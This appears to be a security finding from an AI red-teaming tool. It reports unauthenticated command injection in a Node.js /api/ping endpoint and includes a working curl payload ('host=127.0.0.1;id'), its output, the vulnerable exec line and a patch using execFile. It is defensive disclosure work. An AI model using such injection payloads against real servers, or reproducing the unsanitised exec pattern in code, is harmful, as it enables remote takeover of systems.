Rook
AI red-teamer · 42nights

Unauthenticated Remote Command Injection in /api/ping host parameter

critical9.8

injection-cmd · server.js:31-31

Introduced in f87c6fc2fa by Macintosh1011 on 2026-05-30

Summary

The /api/ping endpoint takes a user-supplied 'host' query parameter and interpolates it directly into a shell command string passed to child_process.exec at server.js:31 (`exec(\`ping -c 1 ${host}\`, ...)`). Because exec spawns a shell, any shell metacharacters in 'host' are interpreted, allowing arbitrary command execution. The server is expected to perform a ping against a validated hostname; instead it executes attacker-controlled commands and returns their output in the HTTP response.

Impact. An unauthenticated remote attacker can execute arbitrary OS commands as the Node.js process user. The proof-of-concept `?host=127.0.0.1;id` returned the output of `id`, revealing the server is running as uid 501 (macintosh) with admin group membership. From here an attacker can read or modify any file the user can access, install persistence, pivot into the internal network, exfiltrate secrets/credentials, or fully take over the host.

Vulnerable code — server.js

🔴 exec(`ping -c 1 ${host}`, { timeout: 4000 }, (err, stdout, stderr) => {

Working exploit

curl -s 'http://127.0.0.1:4600/api/ping?host=127.0.0.1;id'

Exploit transcript

$ curl -s 'http://127.0.0.1:4600/api/ping?host=127.0.0.1;id'
HTTP 200  Content-Type: text/plain
ping result for 127.0.0.1;id:
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.102 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 0.102/0.102/0.102/nan ms
uid=501(macintosh) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),701(com.apple.sharepoint.group.1),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing-disabled),399(com.apple.access_ssh-disabled),400(com.apple.access_remote_ae),702(com.apple.sharepoint.group.2)

Confirmed: command injection confirmed — injected `id` executed: uid=501(macintosh) gid=20(staff)

CVSS v3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H9.8 (critical)

Recommended fix

AI-suggested fix — review before applying (derived from analysis of untrusted repo content):

Avoid the shell entirely and strictly validate the host. Example patch:

--- a/server.js
+++ b/server.js
@@
-app.get('/api/ping', (req, res) => {
-  const host = req.query.host;
-  exec(`ping -c 1 ${host}`, { timeout: 4000 }, (err, stdout, stderr) => {
+const { execFile } = require('child_process');
+const net = require('net');
+const HOSTNAME_RE = /^[a-zA-Z0-9.-]{1,253}$/;
+app.get('/api/ping', (req, res) => {
+  const host = String(req.query.host || '');
+  if (!(net.isIP(host) || HOSTNAME_RE.test(host))) {
+    return res.status(400).type('text/plain').send('invalid host');
+  }
+  execFile('ping', ['-c', '1', '--', host], { timeout: 4000 }, (err, stdout, stderr) => {
     ...
   });
 });

Key points: use execFile (no shell), pass arguments as an array, use `--` to prevent option injection, and allow-list characters/validate as IP or DNS label.

Ship the fix

Rook found it and proved it. Hand the finding — with its working exploit as a failing test — to Otis to write the fix PR.